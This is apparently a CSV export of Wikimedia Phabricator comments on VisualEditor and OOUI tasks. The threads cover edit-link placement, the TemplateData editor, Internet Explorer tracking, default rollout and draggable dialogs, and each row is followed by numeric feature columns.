+237208,VisualEditor: Come up with a solution of section edit links' placement when they are floated right (due to a gadget),"Trivial patch idea
+
+To add some content: Wouldn't a trivial patch along the lines of the attachment be sufficient to fix this problem?
+
+I'm sure something like this could be implemented with minimal effort for somebody with a little experience!
+
+**Attached**: {F11273}",,,1372621960,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-wxztsvwizvyvhpvx2lty,task_subcomment,,True,c1,2,False,,,-1,,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+237203,VisualEditor: Come up with a solution of section edit links' placement when they are floated right (due to a gadget),"I see your point but you have to admit that without changing the style of the edisection-links these Gadgets wouldn't have been necessary in the first place. They are basically ""fixing"" what WMF ""broke"" so it would be nice if you at least tried to supply a solution.",,,1372620403,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-wxztsvwizvyvhpvx2lty,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+237199,VisualEditor: Come up with a solution of section edit links' placement when they are floated right (due to a gadget),"(In reply to comment #0)
+> Until a recent MediaWiki change the default behavior of edit section links
+> was
+> to float to the far side of the heading (right on LTR Wikis, assume this case
+> in the following).
+> 
+> This was changed recently but almost all Wikis provide Gadgets to restore the
+> old behavior (see
+> http://en.wikipedia.org/wiki/MediaWiki:Gadget-righteditlinks.css or
+> http://de.wikipedia.org/wiki/MediaWiki:Gadget-editsection-align-end.css for
+> examples)
+> 
+> The problem is, that the VisualEditor's fly-out-links reserve space to the
+> right for the ""edit source"" link. Therefore when aligning the links right
+> they
+> actually appear with a large distance to the page-margin. The fly-outs should
+> therefore be modified to not reserve any space so the ""edit"" link is
+> correctly
+> aligned right.
+> 
+> To prevent the fly-outs to shift the whole ""edit"" link left as soon as they
+> become visible they could be changed to fly-out to the left in this case or
+> to the bottom.
+
+Note that in general WMF does not support gadgets and does not encourage their use; they are highly likely to break like this when the code they depend on changes, and this is a good example of that breakage. :-(
+
+I've re-written this a bit to be clearer. As ""lowest"" priority, reflecting that we don't support gadgets. of course anyone who is interested in patching is welcome to suggest ideas/code that could address this.",,,1372620013,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wxztsvwizvyvhpvx2lty,task_subcomment,,True,c1,2,True,,,-1,,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+52169,VisualEditor: Extend the rich TemplateData editor to be used inside VE,"It has been mentioned in some places[1][2] that the JSON syntax might be a problem for typical (non-technical) users, so I suggest creating a plugin for editing the content of the <templatedata> tags.
+
+[1] https://commons.wikimedia.org/wiki/Template_talk:Information#Adding_TemplateData_information
+[2] https://pt.wikipedia.org/wiki/WP:Café_dos_programadores#Mais_uma_novidade:_TemplateData
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51734",Lowest,10.0,1372160580,1483554630.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-blsibbjjroitozskiyjq,task_description,resolved,True,c1,2,False,False,False,-1,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+787080,VisualEditor: Extend the rich TemplateData editor to be used inside VE,"This was done as part of {T152230}.
+
+{F5229438}",,,1483554630,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,3,True,,,183,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+747311,VisualEditor: Extend the rich TemplateData editor to be used inside VE,"No, this is for editing TemplateData blocks nicely once we enable Template: namespace editing in VE (and the 2017 wikitext editor).",,,1476984711,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,3,True,,,172,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+745209,VisualEditor: Extend the rich TemplateData editor to be used inside VE,We created a template data editor a few years ago.,,,1476640713,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,3,True,,,171,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+248857,VisualEditor: Extend the rich TemplateData editor to be used inside VE,"I've translated the script to enwiki : http://en.wikipedia.org/wiki/User:NicoV/TemplateDataEditor
+
+and made a screenshot in Commons : http://commons.wikimedia.org/wiki/File:TemplateDataEditor.png",,,1374308029,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+248851,VisualEditor: Extend the rich TemplateData editor to be used inside VE,"Created attachment 12786
+Screenshot of the form provided by the user script from frwiki
+
+(In reply to comment #2)
+> A user on fr.wikipedia seems to have developed a user script to easily add
+> TemplateData to a template:
+> https://fr.wikipedia.org/wiki/Utilisateur:Ltrlg/scripts/TemplateDataEditor.js
+> 
+> This might be of interest while developing a similar VE module.
+
+For convenience, I've attached a screenshot of the form generated by that script.
+
+**Attached**: {F11686}",,,1373295643,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+248841,VisualEditor: Extend the rich TemplateData editor to be used inside VE,"A user on fr.wikipedia seems to have developed a user script to easily add TemplateData to a template:
+https://fr.wikipedia.org/wiki/Utilisateur:Ltrlg/scripts/TemplateDataEditor.js
+
+This might be of interest while developing a similar VE module.",,,1373293342,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+248832,VisualEditor: Extend the rich TemplateData editor to be used inside VE,See also bug 50370 comment 1.,,,1372535975,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-blsibbjjroitozskiyjq,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+52085,[DO NOT USE] VisualEditor: Internet Explorer compatibility (tracking) [superseded by #VisualEditor × #Browser-Support-Internet-Explorer],"A retread of bug 42847 for issues in the run-up to wider deployment.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1372053120,1423674480.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-nsv64fqtru36njpwa54p,task_description,invalid,True,c1,2,True,True,False,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+409987,[DO NOT USE] VisualEditor: Internet Explorer compatibility (tracking) [superseded by #VisualEditor × #Browser-Support-Internet-Explorer],Now replaced by https://phabricator.wikimedia.org/maniphest/query/V25BI8.HgRPz/#R instead.,,,1423674480,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nsv64fqtru36njpwa54p,task_subcomment,,True,c1,3,True,,,84,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243741,[DO NOT USE] VisualEditor: Internet Explorer compatibility (tracking) [superseded by #VisualEditor × #Browser-Support-Internet-Explorer],"Change 155841 merged by jenkins-bot:
+Greylist IE11
+
+https://gerrit.wikimedia.org/r/155841",,,1409263118,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nsv64fqtru36njpwa54p,task_subcomment,,True,c1,3,False,,,60,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243734,[DO NOT USE] VisualEditor: Internet Explorer compatibility (tracking) [superseded by #VisualEditor × #Browser-Support-Internet-Explorer],"Change 155841 had a related patch set uploaded by Jforrester:
+[WIP] Greylist IE11
+
+https://gerrit.wikimedia.org/r/155841",,,1409099824,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nsv64fqtru36njpwa54p,task_subcomment,,True,c1,3,False,,,60,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+243728,[DO NOT USE] VisualEditor: Internet Explorer compatibility (tracking) [superseded by #VisualEditor × #Browser-Support-Internet-Explorer],*** Bug 65688 has been marked as a duplicate of this bug. ***,,,1400868288,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nsv64fqtru36njpwa54p,task_subcomment,,True,c1,3,True,,,46,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52000,Enable VisualEditor by default for all users of all Wikimedia wikis,"One of our long-term objectives is for VisualEditor to be enabled by default on all (public) Wikimedia wikis; this is a tracker for that ambition.
+
+As of August 2016, it isn't likely to be completed anytime soon, because some projects differ substantially from the Wikipedia use case for which VE has been primarily designed. For example, Wiktionary pages tend to be composed almost entirely of templates.",Lowest,10.0,1371860160,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-r5vx4pebxayyrkdqlagy,task_description,open,True,c1,2,True,False,,-2,,1,0,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+414453,Enable VisualEditor by default for all users of all Wikimedia wikis,"@Jdforrester-wmf, you are proposing to work on this task during the Wikimedia Hackathon in Lyon. Please consider associating this task or the specific related task(s) with #Wikimedia-Hackathon-2015.",,,1424384875,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-r5vx4pebxayyrkdqlagy,task_subcomment,,True,c1,3,False,,,85,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,1
+238814,Enable VisualEditor by default for all users of all Wikimedia wikis,"Change 71259 merged by jenkins-bot:
+Add ability to disable for anonymous users
+
+https://gerrit.wikimedia.org/r/71259",,,1372564644,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-r5vx4pebxayyrkdqlagy,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238806,Enable VisualEditor by default for all users of all Wikimedia wikis,"Change 71259 had a related patch set uploaded by Jforrester:
+Add ability to disable for anonymous users
+
+https://gerrit.wikimedia.org/r/71259",,,1372560612,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-r5vx4pebxayyrkdqlagy,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238798,Enable VisualEditor by default for all users of all Wikimedia wikis,OMG. It's bug number 50000.,,,1371861883,,PHID-USER-r7wrkcx7j2vutqs6hr3g,True,,,PHID-TASK-r5vx4pebxayyrkdqlagy,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+51999,Enable VisualEditor by default for all users of all Wikipedias,Current deployments listed at [[https://www.mediawiki.org/wiki/VisualEditor/Rollouts|mw:VisualEditor/Rollouts]].,Lowest,10.0,1371860160,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-io6eogshz2s3ntb5ae7u,task_description,open,True,c1,2,True,False,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+2333983,Enable VisualEditor by default for all users of all Wikipedias,"Volunteers, across experience levels, benefiting from the positive impact [Reference Edit Check](https://www.mediawiki.org/wiki/Edit_check) has been [proven to cause ](https://phabricator.wikimedia.org/T342930#9753996) relates to how easily newcomers can access VE. Thus, why I'm relating this ticket to T331946.",,,1715626643,,PHID-USER-7x5ai23ne5qampjf3g7r,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,True,,,567,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+831719,Enable VisualEditor by default for all users of all Wikipedias,">>! In T51999#2735651, @Liuxinyu970226 wrote:
+> What about Dutch, that's the only Phase 1 wiki that still haven't done?
+
+Will create a task.",,,1490411970,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,True,,,194,,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,0,1,1,1,0,1,0,0,1,1,0,0,0,0,1
+748040,Enable VisualEditor by default for all users of all Wikipedias,"What about Dutch, that's the only Phase 1 wiki that still haven't done?",,,1477095772,,PHID-USER-chrmcih5qjpx5buo7vx6,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,False,,,172,,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0
+238750,Enable VisualEditor by default for all users of all Wikipedias,"Change 102208 merged by jenkins-bot:
+Enable VisualEditor by default on ""phase 4"" Wikipedias
+
+https://gerrit.wikimedia.org/r/102208",,,1389635422,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+238743,Enable VisualEditor by default for all users of all Wikipedias,"Change 102208 had a related patch set uploaded by Jforrester:
+Enable VisualEditor by default on ""phase 4"" Wikipedias
+
+https://gerrit.wikimedia.org/r/102208",,,1387306106,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+238736,Enable VisualEditor by default for all users of all Wikipedias,"Change 96473 merged by jenkins-bot:
+Enable VisualEditor as default to ""phase 3"" Wikipedias
+
+https://gerrit.wikimedia.org/r/96473",,,1386021517,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+238727,Enable VisualEditor by default for all users of all Wikipedias,"Change 96473 had a related patch set uploaded by Catrope:
+Deploy VisualEditor as default to ""phase 3"" Wikipedias
+
+https://gerrit.wikimedia.org/r/96473",,,1384948485,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+238720,Enable VisualEditor by default for all users of all Wikipedias,*** Bug 54866 has been marked as a duplicate of this bug. ***,,,1380835091,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+51969,OOUI: Dialogs should be repositionable/draggable,"###Problem
+There are various workflows where a user wants to both interact with (or at least see) a page's content, and also interact with a potentially complicated form/process, which may have many controls/inputs.
+
+Some VisualEditor examples:
+ - Adding/editing categories (T51969#548266)
+ - Adding/editing a template with many parameters
+Some non-VE examples:
+ - Rater dialog (T51969#2847958)
+ - [[https://en.wikipedia.org/wiki/Wikipedia:Twinkle|Twinkle]] dialogs ([[https://github.com/azatoth/twinkle/issues/414]])
+
+###Feature request
+Dialogs that have no need to be modal (intended to interrupt the primary workflow, and requiring some action before you can get back to the primary workflow) should be draggable.
+Gadget/script/other developers using OOUI should have a simple way to enable this feature, e.g. a config setting that can be set to `true` to allow dragging.
+
+Some specific workflows may have viable alternatives to dialogs, e.g. {T52239}, but that doesn't solve the general problem for more complicated dialog-based workflows.
+
+###Initial task description
+Quoth requester: If I can't read the article, because the ""page settings"" box is large and un-draggable and hides all the article, how can I see what defaultsort or categories I want to add (especially as for defaultsort I probably want to copy and paste all or part of the article title).
+",Lowest,10.0,1371833520,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-g55t2yyhma4clcxdjjey,task_description,open,True,c1,2,False,False,,-2,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,0,1,0,1,1,1,0,1,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+1609589,OOUI: Dialogs should be repositionable/draggable,"The previous comments don't explain who or what (task?) exactly this task is stalled on ([""If a report is waiting for further input (e.g. from its reporter or a third party) and can currently not be acted on""](https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle)). Hence resetting task status, as tasks should not be stalled (and then potentially forgotten) for six years for unclear reasons.
+
+//(Smallprint, as general orientation for task management:
+If you wanted to express that nobody is currently working on this task, then the assignee should be removed and/or priority could be lowered instead.
+If work on this task is blocked by another task, then that other task should be added via {nav name=Edit Related Tasks... > Edit Subtasks}.
+If this task is stalled on an upstream project, then the #upstream tag should be added.
+If this task requires info from the task reporter, then there should be instructions which info is needed.
+If this task needs retesting, then the #testme tag should be added.
+If this task is out of scope and nobody should ever work on this, or nobody else managed to reproduce the situation described here, then it should have the ""Declined"" status.
+If the task is valid but should not appear on some team's workboard, then the team project tag should be removed while the task has another active project tag.)//
+",,,1604263339,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,382,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+1393856,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#5669037, @John_Broughton wrote:
+> (b) let's find specific solutions to specific user problems that don't require that approach.
+
+Sure, but shouldn't they be discussed in more specific tasks? This task is for OOUI in general, which is used for more than just VisualEditor.",,,1573957456,,PHID-USER-sesl3h225nhd3px7w7bu,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,1,0,1
+1393785,OOUI: Dialogs should be repositionable/draggable,"Regarding ""Your idea also doesn't seem to relate to dialogs where information is being input from multiple different places in the article"", I'm not proposing this for all situations. In fact, I'm primarily interested in getting some action on the problem of more easily adding categories to articles.
+
+And yes, it's true that some categories won't be have related text in the article. For that, one option is to leave the current menu-driven process as is (there isn't anything wrong with having two ways to do the same thing). Another option, of course, is for the user to select some (irrelevant) text, then when the dialog box occurs, change that text to whatever he/she wants as a category. (The selected text wouldn't be locked in any way, just as text selected to create a link can be changed by the user, in the dialog box.)
+
+Again, my larger points are (a) if a moveable dialog box is either difficult to implement or undesirable from a UI/UX viewpoint, then (b) let's find specific solutions to specific user problems that don't require that approach.",,,1573924342,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+1393774,OOUI: Dialogs should be repositionable/draggable,"I'm now totally unfamiliar with VE because I abandoned it years ago because I found it unusable. I simply wanted to be able to move the category input box away from being on top of the info I needed to categorise, which might have been a county name for a locality, or a footballer's birth decade and field position, etc. It seems, to a naive editor, a simple request.
